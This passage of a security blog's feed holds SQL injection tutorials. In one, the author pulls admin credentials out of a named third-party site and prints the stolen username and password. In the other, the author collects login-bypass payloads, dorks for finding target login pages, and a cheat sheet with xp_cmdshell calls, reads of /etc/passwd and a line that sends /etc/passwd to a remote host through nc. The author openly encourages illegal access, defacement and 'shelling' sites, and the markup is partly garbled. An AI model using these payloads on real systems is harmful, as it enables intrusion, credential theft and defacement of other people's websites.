<p>I’ll explain this briefly. So our table name was “tbladmin”. </p>
<p>To enter that table using the syntax above, we have to convert that table name to Hex. </p>
<p>In order to do that, visit this website:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.swingnote.com/tools/texttohex.php</span><br></pre></td></tr></table></figure>
<p>It’s a text to hex converter. </p>
<p>Enter “tbladmin” in the text box and hit convert. </p>
<p>You’ll notice the results will be “74626c61646d696e” (that’s the hex). </p>
<p>Now to make it readable to the website, add “0x” at the beginning. </p>
<p>So it will be: <code>0x74626c61646d696e</code>. </p>
<p>Now you know how Hex works, lets look up some functions we replaced and know their uses (Important). </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">group_concat(column_name,0x0a) = grouping the column names we&apos;re going to extract</span><br><span class="line">information_schema.columns = column names stored in database</span><br><span class="line">table_name = extracting column from a specific table</span><br><span class="line">0xHEX_Code_Table = Specific table name converted to hex</span><br></pre></td></tr></table></figure>
<p>Results after extracting column names from tables:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">adminid ,username ,password ,dom</span><br></pre></td></tr></table></figure>
<p>Now that we’ve got the columns from that table, it’s time to extract the information. </p>
<p>What we’re gonna need here is obviously only the “username” and “password”.</p>
<h2 id="Step7-Getting-Data-from-Columns"><a href="#Step7-Getting-Data-from-Columns" class="headerlink" title="Step7:Getting Data from Columns"></a>Step7:Getting Data from Columns</h2><p>Alright, lets extract the information. </p>
<p>Look closely at the syntax:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(username,0x3a,password,0x0a),9,10,11 from tbladmin--</span><br></pre></td></tr></table></figure>
<p>Keep this formula-like syntax in your mind whenever you want to extract data from columns. </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.site.com/index.php?id=-X UNION SELECT N,group_concat(&quot;columnName,0x3a,columnName,0x0a) from &quot;tablename&quot;--</span><br></pre></td></tr></table></figure>
<p>Where “X” is a random integer/string followed by a hyphen ( - ) while “N” is the number/position of the column and “columnName” is the column you want to extract data while “tablename” is where you extract data from a specific table then two hyphens in the end ( – ). </p>
<p>Now for revising: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">column names = username, password</span><br><span class="line">separator = 0x3a (a hex for a colon &quot; : &quot;)</span><br><span class="line">table name = tbladmin</span><br></pre></td></tr></table></figure>
<p>Once you execute that syntax, you get the username and password separated by a colon. </p>
<p>Results after executing the syntax: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ishir:ishir123</span><br></pre></td></tr></table></figure>
<h2 id="Last-Step-Finding-the-admin-page-and-logging-in-for-the-goods"><a href="#Last-Step-Finding-the-admin-page-and-logging-in-for-the-goods" class="headerlink" title="Last Step: Finding the admin page and logging in for the goods"></a>Last Step: Finding the admin page and logging in for the goods</h2><p>Alright, now that we have our admin login info: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Username: ishir</span><br><span class="line">Password: ishir123</span><br></pre></td></tr></table></figure>
<p>It’s time to find the login pages. </p>
<p>To do this, you can use Admin Page Finders: </p>
<ul>
<li><a href="http://sc0rpion.ir/af/" target="_blank" rel="external">http://sc0rpion.ir/af/</a></li>
<li><a href="http://www.tools.th3-0utl4ws.com/admin-finder/" target="_blank" rel="external">http://www.tools.th3-0utl4ws.com/admin-finder/</a></li>
<li><a href="https://hackforums.net/showthread.php?ti...ight=HaviJ" target="_blank" rel="external">https://hackforums.net/showthread.php?ti...ight=HaviJ</a></li>
<li><a href="https://hackforums.net/showthread.php?ti...age+finder" target="_blank" rel="external">https://hackforums.net/showthread.php?ti...age+finder</a></li>
</ul>
<p>Now all you have to do is enter the admin details you extracted from their databases and login as an admin!</p>
</content>
<summary type="html">
<h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>The method used to extract information from a data
</summary>
<category term="A-SQLi" scheme="http://sec.php101.cn/categories/A-SQLi/"/>
<category term="Blind" scheme="http://sec.php101.cn/tags/Blind/"/>
<category term="Boolean Based" scheme="http://sec.php101.cn/tags/Boolean-Based/"/>
</entry>
<entry>
<title>SQLi--PART II:Bypassing Login pages on websites using SQL injectable queries</title>
<link href="http://sec.php101.cn/2014/10/30/SQLi--PART-IIBypassing-Login-pages-on-websites-using-SQL-injectable-queries/"/>
<id>http://sec.php101.cn/2014/10/30/SQLi--PART-IIBypassing-Login-pages-on-websites-using-SQL-injectable-queries/</id>
<published>2014-10-30T10:15:39.000Z</published>
<updated>2016-10-25T10:29:18.000Z</updated>
<content type="html"><h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>Alright in this tutorial, we’ll be learning how to bypass login pages with the help of MySQL injection using Login Queries. </p>
<p>Please visit part 1 if you haven’t seen it yet: <a href="http://tdyhacker.github.io/2014/10/30/MegaSQLi--part-IDorks/" target="_blank" rel="external">http://tdyhacker.github.io/2014/10/30/MegaSQLi–part-IDorks/</a></p>
<h2 id="What-is-SQL-injection"><a href="#What-is-SQL-injection" class="headerlink" title="What is SQL injection?"></a>What is SQL injection?</h2><p><strong>Answer:</strong> Basically, it’s a process where you execute a certain query in a website in order to extract information such as log-in information, users etc. for either personal gain or random use from the website’s database.</p>
<p>There are many type of certain queries that can be executed in order to illegally extract information from the website’s database. </p>
<p>In this tutorial the query we’ll be using is Basic SQL injection query where it can be executed in a login page.</p>
<p>Example: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Username: admin</span><br><span class="line">Password: ‘ or ‘1’=’1</span><br></pre></td></tr></table></figure>
<p>When you enter the password “‘or ‘1’=’1” in most website, there’s a chance you can gain access. </p>
<p>How does it happen? Look at the code when we execute that query? </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM users </span><br><span class="line">WHERE username = ‘admin’</span><br><span class="line">AND password = ‘ ‘ or ‘1’=’1’ </span><br><span class="line">``` </span><br><span class="line"></span><br><span class="line">In the password field, we inserted a quote `&apos;` first, then a bunch of random characters like &quot;1&quot;. </span><br><span class="line"></span><br><span class="line">The database always scans for rows and hence in the query we have executed, there&apos;s only 1 row which states that there&apos;s no reason for the login to be incorrect. </span><br><span class="line"></span><br><span class="line">However, some websites can filter out these type of queries, so it&apos;s best to use different ones too. You can find some below. </span><br><span class="line"></span><br><span class="line">Now that you have an idea of how Basic SQL injection queries work, lets try and put it to use shall we ?</span><br><span class="line"></span><br><span class="line">## Step1: Finding websites with Login Pages</span><br><span class="line">Alright, out basic approach is to find a couple of websites with login pages so that we can execute our query in order to bypass it. </span><br><span class="line"></span><br><span class="line">For this, we can use dorks. </span><br><span class="line"> </span><br><span class="line">In this tutorial, we can use these dorks:</span><br></pre></td></tr></table></figure>
<p>inurl:/login.php<br>inurl:/admin.php<br>inurl:/admin<br>inurl:/login.html<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">If you want to find more dorks when using this method, you can find them here:</span><br></pre></td></tr></table></figure></p>
<p><a href="http://pastebin.com/ZjxpivV3" target="_blank" rel="external">http://pastebin.com/ZjxpivV3</a><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">## Step2: Now Executing the query</span><br><span class="line">Alright, now that you&apos;ve found your target with a log in page, lets play with it a bit. </span><br><span class="line"></span><br><span class="line">So here&apos;s what you&apos;re gonna do: </span><br><span class="line"></span><br><span class="line">Username will be admin, cause most sites are having admin data stored in their databases</span><br></pre></td></tr></table></figure></p>
<p>Username: admin<br>Password: ‘ or 0=0 –<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">Didn&apos;t work? No worries, there&apos;s more to that than just a single query. </span><br><span class="line"></span><br><span class="line">Here&apos;s a list of queried passwords you can use to hopefully inject the site.</span><br></pre></td></tr></table></figure></p>
<p>‘ or ‘1’=’1<br>‘ or ‘x’=’x<br>‘ or 0=0 –<br>“ or 0=0 –<br>or 0=0 –<br>‘ or 0=0 #<br>“ or 0=0 #<br>or 0=0 #<br>‘ or ‘x’=’x<br>“ or “x”=”x<br>‘) or (‘x’=’x<br>‘ or 1=1–<br>“ or 1=1–<br>or 1=1–<br>‘ or a=a–<br>“ or “a”=”a<br>‘) or (‘a’=’a<br>“) or (“a”=”a<br>hi” or “a”=”a<br>hi” or 1=1 –<br>hi’ or 1=1 –</p>
<h1 id="‘or’1-1’"><a href="#‘or’1-1’" class="headerlink" title="‘or’1=1’"></a>‘or’1=1’</h1><p>and 1=1–<br>and 1=1<br>‘ or ‘one’=’one–<br>‘ or ‘one’=’one<br>‘ and ‘one’=’one<br>‘ and ‘one’=’one–<br>1’) and ‘1’=’1–<br>admin’ –<br>admin’ #<br>admin’/<em><br>or 1=1–<br>or 1=1#<br>or 1=1/</em><br>) or ‘1’=’1–<br>) or (‘1’=’1–<br>‘ or ‘1’=’1<br>‘ or ‘x’=’x<br>‘ or 0=0 –<br>“ or 0=0 –<br>or 0=0 –<br>‘ or 0=0 #<br>“ or 0=0 #<br>or 0=0 #<br>‘ or ‘x’=’x<br>“ or “x”=”x<br>‘) or (‘x’=’x<br>‘ or 1=1–<br>“ or 1=1–<br>or 1=1–<br>‘ or a=a–<br>“ or “a”=”a<br>‘) or (‘a’=’a<br>“) or (“a”=”a<br>hi” or “a”=”a<br>hi” or 1=1 –<br>hi’ or 1=1 –<br>‘or’1=1’<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">&gt; Note: Sometimes, this is not the best way of hacking websites with SQL injection but I guarantee, you&apos;ll be a successful patient SQL injector and get used to this method.</span><br><span class="line"></span><br><span class="line">## Step3: I LOGGED in, what to do now?!</span><br><span class="line">Well, first off, if you did login, then congratz on your first successful attempt of SQL injection. </span><br><span class="line"></span><br><span class="line">So, there are basically many things you can do with the site. </span><br><span class="line">Most people would love to deface it. </span><br><span class="line"></span><br><span class="line">Others will just shell it and have other uses such as rooting, webhosting etc. </span><br><span class="line">If would like to deface the website, locate the homepage and replace it with your deface page. </span><br><span class="line"></span><br><span class="line"></span><br><span class="line">## Extras</span><br><span class="line">### Common Password Queries</span><br></pre></td></tr></table></figure></p>
<p>admin’ –<br>admin’ #<br>admin’/<em><br>‘ or 1=1–<br>‘ or 1=1#<br>‘ or 1=1/</em><br>‘) or ‘1’=’1–<br>‘) or (‘1’=’1–<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">### If version of Database is greater than 5</span><br><span class="line">If version of Database is greater than 5, then queries with UNION,group, @@version,orderby,benchmark etc can be executed.</span><br></pre></td></tr></table></figure></p>
<p>1234’ AND 1=0 UNION ALL SELECT ‘admin’<br>‘ HAVING 1=1 –<br>‘ GROUP BY table.columnfromerror1 HAVING 1=1 –<br>@@version<br>select @@version<br>select @@servername<br>select @@microsoftversion<br>select <em> from master..sysservers<br>select </em> from sysusers<br>exec master..xp_cmdshell ‘ipconfig+/all’<br>exec master..xp_cmdshell ‘net+view’<br>exec master..xp_cmdshell ‘net+users’<br>SELECT 1 – comment<br>SELECT /<em>comment</em>/1<br>ORDER BY 1–<br>‘ union all select sum(columntofind) from users–<br>UNION ALL SELECT null<br>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘tablenameforcolumnnames’)<br>SELECT TOP n columns<br>select <em> from OPENROWSET(‘MSDASQL’<br>select </em> from OPENROWSET(‘SQLOLEDB’<br>masters..sysxlogins<br>sys.sql_logins<br>SELECT/<em>avoid-spaces</em>/password/<strong>/FROM/</strong>/Members<br>SELECT CHAR(0x66)<br>SELECT <em> FROM members<br>@@version<br>SELECT USER();<br>select host<br>SELECT 1;<br>SELECT /</em>comment<em>/1;<br>ORDER BY 1–<br>UNION ALL SELECT null<br>SELECT schema_name FROM information_schema.schemata;<br>SELECT table_schema<br>SELECT grantee<br>limit 1<br>SELECT host<br>IF EXISTS (SELECT </em> FROM users WHERE username = ‘root’) BENCHMARK(100<br>select benchmark( 500<br>SELECT CHAR(75)+CHAR(76)+CHAR(77)<br>SELECT ascii(‘A’)<br>SELECT CONCAT(‘0x’<br>SELECT/<em>avoid-spaces</em>/password/<strong>/FROM/</strong>/Members<br>SELECT /*!32302 1/0<br>SELECT 0x5045<br>SELECT cast(‘1’ AS unsigned integer);<br>SELECT cast(‘123’ AS char);<br>SELECT IF(1=1<br>‘ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) AND ‘a’=’a<br>union SELECT LOAD_FILE(0x2f6574632f706173737764)<br>load data infile ‘c:/boot.ini’ into table foo;</p>
<h1 id="SELECT-…-INTO-DUMPFILE"><a href="#SELECT-…-INTO-DUMPFILE" class="headerlink" title="SELECT … INTO DUMPFILE"></a>SELECT … INTO DUMPFILE</h1><p>SELECT login || ‘-‘ || password FROM members<br>select versionnumber<br>select user from sysibm.sysdummy1;<br>select session_user from sysibm.sysdummy1;<br>select system_user from sysibm.sysdummy1;<br>select <em> from syscat.tabauth;<br>select current server from sysibm.sysdummy1;<br>select </em> from syscat.dbauth where grantee = current user;<br>select <em> from syscat.tdbauth where grantee = current user;<br>select name from sysibm.systables;<br>select name<br>SELECT schemaname FROM syscat.schemata;<br>SELECT foo FROM bar fetch first 1 rows only;<br>select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;<br>select 123 from sysibm.sysdummy1 union select 234 from sysibm.sysdummy1;<br>SELECT ‘a’ concat ‘b’ concat ‘c’ FROM sysibm.sysdummy1;<br>SELECT cast(’123’ as integer) FROM sysibm.sysdummy1;<br>select version();<br>select current_database();<br>“select current_user;<br>select session_user;<br>“SELECT current_setting(‘data_directory’);<br>select current_setting(’log_connections’);<br>select current_setting(’log_statement’);<br>“select current_setting(’port’);<br>select current_setting(’password_encryption’);<br>select current_setting(’krb_server_keyfile’);<br>“select current_setting(’virtual_host’);<br>select current_setting(’port’);<br>“select current_setting(’config_file’);<br>“select current_setting(’hba_file’);<br>“select current_setting(’data_directory’);<br>LIMIT n<br>SELECT pg_sleep(10);<br>SELECT current_database()<br>SELECT relname<br>SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’<br>SELECT DISTINCT relname FROM pg_class C<br>SELECT 1; –comment<br>SELECT /</em>comment<em>/1;<br>SELECT chr(65);<br>SELECT ascii(‘A’);<br>SELECT CHR(65)||CHR(66);<br>SELECT usename<br>SELECT usename FROM pg_user WHERE usesuper IS TRUE<br>SELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080’);<br>SELECT ‘A’ || ‘B’;<br>SELECT CAST(1 as varchar);<br>SELECT CAST(‘1’ as int);<br>SELECT </em> FROM dblink(‘host=put.your.hostname.here user=someuser dbname=somedb’<br>select dbmsinfo(’_version’);<br>select dbmsinfo(’session_user’);<br>select dbmsinfo(’system_user’);<br>select dbmsinfo(’database’);<br>select dbmsinfo(’db_admin’);<br>select dbmsinfo(’create_table’);<br>select dbmsinfo(’create_procedure’);<br>select dbmsinfo(’security_priv’);<br>select dbmsinfo(’select_syscat’);<br>select dbmsinfo(’db_privileges’);<br>select dbmsinfo(’current_priv_mask’);<br>select top 10 blah from table;<br>select first 10 blah form table;<br>select table_name<br>select relid<br>select relid<br>select column_name<br>select 1 union select 2;<br>select cast(’123’ as integer);<br>select @@version”<br>select name from master..syslogins”<br>select name from master..sysdatabases”<br>convert(integer<br>waitfor delay ‘0:0:5’<br>```</p>
</content>
<summary type="html">
<h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>Alright in this tutorial, we’ll be learning how to
</summary>
<category term="A-SQLi" scheme="http://sec.php101.cn/categories/A-SQLi/"/>
<category term="MegaSQLi" scheme="http://sec.php101.cn/tags/MegaSQLi/"/>
</entry>
<entry>
<title>SQLi--PART I:Dorks</title>
<link href="http://sec.php101.cn/2014/10/30/SQLi--PART%20I:Dorks/"/>
<id>http://sec.php101.cn/2014/10/30/SQLi--PART I:Dorks/</id>
<published>2014-10-30T09:44:32.000Z</published>